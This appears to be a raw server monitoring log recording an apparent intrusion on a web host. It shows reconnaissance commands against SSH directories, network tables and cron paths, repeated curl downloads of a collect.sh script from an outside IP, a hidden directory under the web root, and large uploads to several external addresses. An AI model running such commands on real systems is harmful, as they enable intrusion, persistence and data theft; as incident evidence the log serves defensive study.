2026-10-31 01:02:1423.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashls -la /root/.ssh /home
2026-10-31 01:02:1423.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashls -la /var/www/.ssh
2026-10-31 01:02:1423.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashcat /proc/net/tcp
2026-10-31 01:02:1423.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashls -la /var/www/html
2026-10-31 01:02:2623.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashls -ld /var/www
2026-10-31 01:02:4323.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashid
2026-10-31 01:02:4323.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashcurl -sS -m 8 -o /dev/null -w eg=%{http_code} http://206.245.153.56:8088/
2026-10-31 01:02:4323.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashdpkg -l
2026-10-31 01:02:4323.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashls -ld /var/www
2026-10-31 01:03:0223.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashcurl -sS -m 8 -o /dev/null -w A=%{http_code} http://206.245.153.56:8088/tools/collect.sh
2026-10-31 01:03:1123.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashid -u
2026-10-31 01:03:1123.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashcurl -sS -m 10 -o /dev/null -w B=%{http_code} http://deb.debian.org/debian/README
2026-10-31 01:03:1123.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashcurl -sS -m 8 -o /dev/null -w A=%{http_code} http://206.245.153.56:8088/tools/collect.sh
2026-10-31 01:03:2123.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashcurl -sS -m 8 -o /dev/null -w A=%{http_code} http://206.245.153.56:8088/tools/collect.sh
2026-10-31 01:03:4323.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashls -l /bin/bash /bin/sh
2026-10-31 01:03:5623.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashsh /dev/null
2026-10-31 01:03:5623.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashls -la /tmp
2026-10-31 01:03:5623.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashcurl -sS -o /tmp/collect.sh http://206.245.153.56:8088/tools/collect.sh
2026-10-31 01:04:4723.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashchmod 755 /var/www/html
2026-10-31 01:04:5323.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashchmod 755 /var/www/html/.p /var/www/html/.p/ak
2026-10-31 01:04:5323.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashls -la /var/www/html/.p/ak
2026-10-31 01:05:1123.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashls -ld /var/www/html/includes
2026-10-31 01:05:2423.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashls -ld /var/lib/php/sessions
2026-10-31 01:05:3323.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sentbash -> bashls -ld /etc/cron.d
2026-10-31 01:05:3323.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sentbash -> bashls -ld /var/spool/cron /etc/cron.d
2026-10-31 01:05:5023.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sentbash -> bashcat /proc/net/tcp
2026-10-31 01:05:5823.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sentbash -> bashcurl -sS -m 10 -o /tmp/ip.txt http://206.245.153.56:8088/tools/collect.sh
2026-10-31 01:06:0623.234.81.67, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sentbash -> bashcurl -sS -m 6 http://ifconfig.me
